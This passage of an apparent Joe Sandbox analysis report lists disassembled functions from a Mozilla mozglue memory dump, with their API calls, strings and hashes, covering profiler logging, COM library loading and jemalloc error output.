Opcode ID: 9ac1a2b1bd1c9fe1b896e9db328d2014c6a2dc15a8e1a23bf02510d8f49675db
Instruction ID: 48d4dfdf1b00aff4b9501129d2b3d86dfac8da69139ada96167f5a8adcee21ea
Opcode Fuzzy Hash: 9ac1a2b1bd1c9fe1b896e9db328d2014c6a2dc15a8e1a23bf02510d8f49675db
Instruction Fuzzy Hash: 2F11E339201245AFDB14AF59C8889E9B779FF86368B100415EE1583F01CF71AC21CBB9

Function 6CB41FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB6AB89: EnterCriticalSection.KERNEL32(6CBBE370,?,?,?,6CB334DE,6CBBF6CC,?,?,?,?,?,?,?,6CB33284), ref: 6CB6AB94
Part of subcall function 6CB6AB89: LeaveCriticalSection.KERNEL32(6CBBE370,?,6CB334DE,6CBBF6CC,?,?,?,?,?,?,?,6CB33284,?,?,6CB556F6), ref: 6CB6ABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6CB41FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6CB41FFD
__Init_thread_footer.LIBCMT ref: 6CB42011
FreeLibrary.KERNEL32 ref: 6CB42059

Strings

CoCreateInstance, xrefs: 6CB41FF7
combase.dll, xrefs: 6CB41FD9

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: 6a1901c1ef85c08d8e7ce4add4be80ea6b1ee754758e8bf8e8c1d3ac6639f304
Instruction ID: a218ab006f8cb02174e9f72cec20a9c301ea9d30829638d5b59c79b2f845cf78
Opcode Fuzzy Hash: 6a1901c1ef85c08d8e7ce4add4be80ea6b1ee754758e8bf8e8c1d3ac6639f304
Instruction Fuzzy Hash: 51117F7D605284AFDF10CF55C959EAA3BB9EB46366F008019F905D3754CB319C00EF66

Function 6CB40EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB6AB89: EnterCriticalSection.KERNEL32(6CBBE370,?,?,?,6CB334DE,6CBBF6CC,?,?,?,?,?,?,?,6CB33284), ref: 6CB6AB94
Part of subcall function 6CB6AB89: LeaveCriticalSection.KERNEL32(6CBBE370,?,6CB334DE,6CBBF6CC,?,?,?,?,?,?,?,6CB33284,?,?,6CB556F6), ref: 6CB6ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6CB6D9F0,00000000), ref: 6CB40F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6CB40F3C
__Init_thread_footer.LIBCMT ref: 6CB40F50
FreeLibrary.KERNEL32(?,6CB6D9F0,00000000), ref: 6CB40F86

Strings

CoInitializeEx, xrefs: 6CB40F36
combase.dll, xrefs: 6CB40F18

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: 491f237d1bf8284cbbe25439d5a3b3fb456fc2fc4760b6e7716405375664db67
Instruction ID: 33b99119e984af05c566a379804ea162ceed22f582b11885473a0a81b7abf462
Opcode Fuzzy Hash: 491f237d1bf8284cbbe25439d5a3b3fb456fc2fc4760b6e7716405375664db67
Instruction Fuzzy Hash: FF11827D7096C09BDF00DF69DA48A9A3774FB5A325F008629ED0593B41DF70E805CA6A

Function 6CB7F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CB44A68), ref: 6CB7945E
Part of subcall function 6CB79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB79470
Part of subcall function 6CB79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB79482
Part of subcall function 6CB79420: __Init_thread_footer.LIBCMT ref: 6CB7949F

GetCurrentThreadId.KERNEL32 ref: 6CB7F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB7F561

Part of subcall function 6CB794D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CB794EE
Part of subcall function 6CB794D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CB79508

GetCurrentThreadId.KERNEL32 ref: 6CB7F577
AcquireSRWLockExclusive.KERNEL32(6CBBF4B8), ref: 6CB7F585
ReleaseSRWLockExclusive.KERNEL32(6CBBF4B8), ref: 6CB7F5A3

Strings

[I %d/%d] profiler_resume, xrefs: 6CB7F239
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6CB7F56A
[I %d/%d] profiler_resume_sampling, xrefs: 6CB7F499
[I %d/%d] profiler_pause_sampling, xrefs: 6CB7F3A8

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: e9040f7fa4381ef431281b7a581cb83595f65a2a1db5e68633b89c2f2702b66d
Instruction ID: ec7d2f863a50b43099e60be1ce0680613e830d00e4e2252203ecaa4ea1864647
Opcode Fuzzy Hash: e9040f7fa4381ef431281b7a581cb83595f65a2a1db5e68633b89c2f2702b66d
Instruction Fuzzy Hash: 9AF0547D6002449FEF106B69D88896EB77DEB862ADF000415FE1593701DF759C058779

Function 6CB7F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CB44A68), ref: 6CB7945E
Part of subcall function 6CB79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB79470
Part of subcall function 6CB79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB79482
Part of subcall function 6CB79420: __Init_thread_footer.LIBCMT ref: 6CB7949F

GetCurrentThreadId.KERNEL32 ref: 6CB7F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6CB7F598), ref: 6CB7F621

Part of subcall function 6CB794D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CB794EE
Part of subcall function 6CB794D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CB79508

GetCurrentThreadId.KERNEL32 ref: 6CB7F637
AcquireSRWLockExclusive.KERNEL32(6CBBF4B8,?,?,00000000,?,6CB7F598), ref: 6CB7F645
ReleaseSRWLockExclusive.KERNEL32(6CBBF4B8,?,?,00000000,?,6CB7F598), ref: 6CB7F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6CB7F62A

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: a1f4434df25ffae381cb24d3003c00009b8ab65d5f0bea32920bbd5df8e39cac
Instruction ID: 4ed458295172542d7fd270f25af6ce7763add7536110d41b73511be292fb39df
Opcode Fuzzy Hash: a1f4434df25ffae381cb24d3003c00009b8ab65d5f0bea32920bbd5df8e39cac
Instruction Fuzzy Hash: F7F0547D600244AFEF106B69888896EB77DEF862ADF000415FE1593751CF759C05C779

Function 6CB40E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6CB40DF8), ref: 6CB40E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6CB40EA1
__Init_thread_footer.LIBCMT ref: 6CB40EB5
FreeLibrary.KERNEL32 ref: 6CB40EC5

Strings

kernel32.dll, xrefs: 6CB40E7D
GetProcessMitigationPolicy, xrefs: 6CB40E9B

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: 6e15a6fb6c938ff8f217a4e44da807582bc18de9df8b17af127a9ef9ef7d9bf7
Instruction ID: 0dacc188f6e23250842e7785e3994d3037f0098b174b1398a2d36e356f4a1b4f
Opcode Fuzzy Hash: 6e15a6fb6c938ff8f217a4e44da807582bc18de9df8b17af127a9ef9ef7d9bf7
Instruction Fuzzy Hash: 0A01247CA442C18BDE008FEAE854A5633B5E726328F1049A9A92193B44DF70A4189A1A

Function 6CB705F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6CB6CFAE,?,?,?,6CB331A7), ref: 6CB705FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6CB6CFAE,?,?,?,6CB331A7), ref: 6CB70616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6CB331A7), ref: 6CB7061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6CB331A7), ref: 6CB70627

Strings

<jemalloc>, xrefs: 6CB705FA, 6CB7060F
: (malloc) Error in VirtualFree(), xrefs: 6CB7061B, 6CB70625

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: ec58560be895f1215fef40b7cb00ff63f96e0ac44f018e02e50da9a6eaf3e06a
Instruction ID: 2d0a78a012581f8ff4a993e2a2b80a222286b5257425207b271e65b68f75904a
Opcode Fuzzy Hash: ec58560be895f1215fef40b7cb00ff63f96e0ac44f018e02e50da9a6eaf3e06a
Instruction Fuzzy Hash: D1E08CE2A0505037F5142296AC86DBB765CDBC6134F080039FD0D83301E95BAD1A51F6

Function 6CB405F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c4ae491b4fbbc2dcae725b63327907e037bc4d5d4c3879cb05080d87b8a48041
Instruction ID: dd2885645cee5434b523495f174369ced1e71075fafd0da8389cdcfe76790e52
Opcode Fuzzy Hash: c4ae491b4fbbc2dcae725b63327907e037bc4d5d4c3879cb05080d87b8a48041
Instruction Fuzzy Hash: 54A169B4A04685CFDB14CF29D994A9AFBF1FF58304F44866ED44A97B00EB30A945CF91

Function 6CB914A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB914C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CB914E2
GetCurrentThreadId.KERNEL32 ref: 6CB91546
InitializeConditionVariable.KERNEL32(?), ref: 6CB915BA
free.MOZGLUE(?), ref: 6CB916B4

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: ccec8070813a5cd13c1a01d3bd8c569e4a4e5a6955f79e06f0f3df8a6b5c3556
Instruction ID: 968f188108e4a8dddac9a3f7844b4ce5013395aaadbc34d9452737e40f1fba62
Opcode Fuzzy Hash: ccec8070813a5cd13c1a01d3bd8c569e4a4e5a6955f79e06f0f3df8a6b5c3556
Instruction Fuzzy Hash: C761F475A017849BDB118F24C880BDEB7B8FF8A308F45852CED8A57711DB31E949CB92

Function 6CB89F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CB89FDB
free.MOZGLUE(?,?), ref: 6CB89FF0
free.MOZGLUE(?,?), ref: 6CB8A006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CB8A0BE
free.MOZGLUE(?,?), ref: 6CB8A0D5
free.MOZGLUE(?,?), ref: 6CB8A0EB

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: b72d5d884f44f5d37b474e18ca72f9168206a99b83777887a83c256a9eb816a6
Instruction ID: 3d80c16729fe9ebf5e7b679109f2305453b93b299ffcb0c185006e889cfff85b
Opcode Fuzzy Hash: b72d5d884f44f5d37b474e18ca72f9168206a99b83777887a83c256a9eb816a6
Instruction Fuzzy Hash: 0A61A0759096819FC711CF18C48055AB3F5FF88329F548659E8999B702EB32F986CFC2

Function 6CB8DC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB8DC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6CB8D38A,?), ref: 6CB8DC6F
free.MOZGLUE(?,?,?,?,?,6CB8D38A,?), ref: 6CB8DCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6CB8D38A,?), ref: 6CB8DCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6CB8D38A,?), ref: 6CB8DD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6CB8D38A,?), ref: 6CB8DD4A

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: 92599380c035d09e2fdd64c3cdf55ffdaaaf4794ee31eefc8a8454ebe3813c09
Instruction ID: 2cb1140e469705be1b6e52a72e222a309bda4efc6650a032dabc4d06b9e44a71
Opcode Fuzzy Hash: 92599380c035d09e2fdd64c3cdf55ffdaaaf4794ee31eefc8a8454ebe3813c09
Instruction Fuzzy Hash: 9C4147B5A01216CFCB44CFA9D88099EB7F6FF88314B65456AE945ABB10DB71FC04CB90

Function 6CB76590 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6CB6FA80: GetCurrentThreadId.KERNEL32 ref: 6CB6FA8D
Part of subcall function 6CB6FA80: AcquireSRWLockExclusive.KERNEL32(6CBBF448), ref: 6CB6FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB76727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6CB767C8

Part of subcall function 6CB84290: memcpy.VCRUNTIME140(?,?,6CB92003,6CB90AD9,?,6CB90AD9,00000000,?,6CB90AD9,?,00000004,?,6CB91A62,?,6CB92003,?), ref: 6CB842C4

Strings

data, xrefs: 6CB76593

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data
API String ID: 511789754-2918445923
Opcode ID: 9d5fc85800e00aa39bc3c804b20735719268a18f1f5996b53b0eaf920e89d0a3
Instruction ID: d408809978959b7bd2123173ebd31d5d833525ad3dae477c9bfdde2dfd9cb44e
Opcode Fuzzy Hash: 9d5fc85800e00aa39bc3c804b20735719268a18f1f5996b53b0eaf920e89d0a3
Instruction Fuzzy Hash: 61D1E175A083808FD724CF64D851BAFB7E5EFD5308F10492DE89997B51EB30A809CB62

Function 6CB6D5D0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6CB3EB57,?,?,?,?,?,?,?,?,?), ref: 6CB6D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6CB3EB57,?), ref: 6CB6D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6CB3EB57,?), ref: 6CB6D673
free.MOZGLUE(?), ref: 6CB6D888

Strings

|Enabled, xrefs: 6CB6D81E

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: |Enabled
API String ID: 4142949111-2633303760
Opcode ID: 376fd25e07fbcf08dfdfc97f0da437c3e2039015531e7472b79a907a7c8c71d3
Instruction ID: 4627f5afbb4e53257684cc6be34715680e4b998408b224412486e70565d932fb
Opcode Fuzzy Hash: 376fd25e07fbcf08dfdfc97f0da437c3e2039015531e7472b79a907a7c8c71d3
Instruction Fuzzy Hash: CFA11874A043958FDB11CF7AD4907AEBBF1EF49318F28805DD895ABB41D730A845CBA2

Function 6CB6F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6CB6F480

Part of subcall function 6CB3F100: LoadLibraryW.KERNEL32(shell32,?,6CBAD020), ref: 6CB3F122
Part of subcall function 6CB3F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CB3F132

CloseHandle.KERNEL32(00000000), ref: 6CB6F555

Part of subcall function 6CB414B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6CB41248,6CB41248,?), ref: 6CB414C9
Part of subcall function 6CB414B0: memcpy.VCRUNTIME140(?,6CB41248,00000000,?,6CB41248,?), ref: 6CB414EF

Part of subcall function 6CB3EEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6CB3EEE3

CreateFileW.KERNEL32 ref: 6CB6F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6CB6F523

Strings

\oleacc.dll, xrefs: 6CB6F4CB

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: 63a77b40ec31d8d04809c907a234cf2f4c87213661a54e71d9af97215566bbb6
Instruction ID: d841229ef4a281827a823f4ee962b9f24e684656c5ca0085a87fef8e42b45bbd
Opcode Fuzzy Hash: 63a77b40ec31d8d04809c907a234cf2f4c87213661a54e71d9af97215566bbb6
Instruction Fuzzy Hash: C44180306087909FE720DF6AC885B9AB7F4EF44318F504A1CF69593A50EB30DD498B92

Function 6CB7E020 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CB44A68), ref: 6CB7945E
Part of subcall function 6CB79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB79470
Part of subcall function 6CB79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB79482
Part of subcall function 6CB79420: __Init_thread_footer.LIBCMT ref: 6CB7949F

GetCurrentThreadId.KERNEL32 ref: 6CB7E047
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB7E04F

Part of subcall function 6CB794D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CB794EE
Part of subcall function 6CB794D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CB79508

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB7E09C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB7E0B0

Strings

[I %d/%d] profiler_get_profile, xrefs: 6CB7E057

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: getenv$free$CurrentInit_thread_footerThread__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [I %d/%d] profiler_get_profile
API String ID: 1832963901-4276087706
Opcode ID: 933af261d197f7615519371a32c85080f7274f2930bd1c3ef7c1732de2babd04
